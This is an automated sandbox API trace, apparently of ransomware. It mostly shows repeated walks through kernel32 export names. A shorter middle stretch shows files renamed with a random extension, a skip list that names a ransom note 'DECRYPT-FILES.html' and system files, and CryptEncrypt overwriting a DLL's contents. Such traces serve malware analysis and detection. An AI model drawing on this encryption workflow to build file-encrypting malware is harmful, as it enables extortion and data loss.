lstrlenA (lpString="CREATEACTCTXW") returned 13 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0126.680] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0126.680] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0126.680] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0126.681] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0126.681] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0126.681] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0126.681] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0126.681] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0126.681] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0126.681] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0126.681] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0126.681] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0126.681] lstrlenA (lpString="CREATEEVENTA") returned 12 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0126.681] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0126.681] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0126.681] lstrlenA (lpString="CREATEEVENTW") returned 12 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0126.681] lstrlenA (lpString="CREATEFIBER") returned 11 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0126.681] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0126.681] lstrlenA (lpString="CREATEFILE2") returned 11 [0126.681] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0126.682] lstrlenA (lpString="CREATEFILEA") returned 11 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0126.682] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0126.682] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0126.682] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0126.682] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0126.682] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0126.682] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0126.682] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0126.682] lstrlenA (lpString="CREATEFILEW") returned 11 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0126.682] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0126.682] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0126.682] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0126.682] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0126.682] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0126.682] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0126.682] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0126.682] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0126.683] lstrlenA (lpString="CREATEJOBSET") returned 12 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0126.683] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0126.683] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0126.683] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0126.683] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0126.683] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0126.683] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0126.683] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0126.683] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0126.683] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0126.683] lstrlenA (lpString="CREATEPIPE") returned 10 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0126.683] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0126.683] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0126.683] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0126.683] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0126.683] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0126.683] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0126.684] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0126.684] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0126.684] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0126.684] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0126.684] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0126.684] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0126.684] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0126.684] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0126.684] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0126.684] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0126.684] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0126.684] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0126.684] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0126.684] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0126.684] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0126.684] lstrlenA (lpString="CREATETHREAD") returned 12 [0126.684] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0126.685] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0126.685] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0126.685] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0126.685] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0126.685] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0126.685] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0126.685] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0126.685] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0126.685] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.eDu1kc") returned 51 [0126.686] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.eDu1kc" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.edu1kc"), dwFlags=0x0) returned 1 [0126.686] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.687] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.687] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.687] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0126.687] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0126.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\") returned 27 [0126.688] lstrlenW (lpString="SetupResources.dll") returned 18 [0126.688] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1040\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\" [0126.688] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" [0126.688] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0126.688] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0126.689] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0126.689] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0126.689] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0127.197] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0127.197] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0127.197] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0127.197] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0127.198] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0127.201] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.201] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0127.201] CloseHandle (hObject=0x5f8) returned 1 [0127.201] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.201] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0127.202] CloseHandle (hObject=0x0) returned 0 [0127.202] CloseHandle (hObject=0x5f4) returned 1 [0127.353] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.353] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.353] GetTickCount () returned 0x3539f [0127.353] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0127.354] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0127.354] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0127.354] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0127.354] lstrlenA (lpString="kernel32.dll") returned 12 [0127.355] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0127.355] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0127.355] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0127.355] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0127.355] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0127.355] lstrlenA (lpString="ADDATOMA") returned 8 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0127.355] lstrlenA (lpString="ADDATOMW") returned 8 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0127.355] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0127.355] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0127.355] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0127.355] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0127.355] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0127.355] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0127.355] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0127.355] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0127.355] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0127.356] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0127.356] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0127.356] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0127.356] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0127.356] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0127.356] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0127.356] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0127.356] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0127.356] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0127.356] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0127.356] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0127.356] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0127.356] 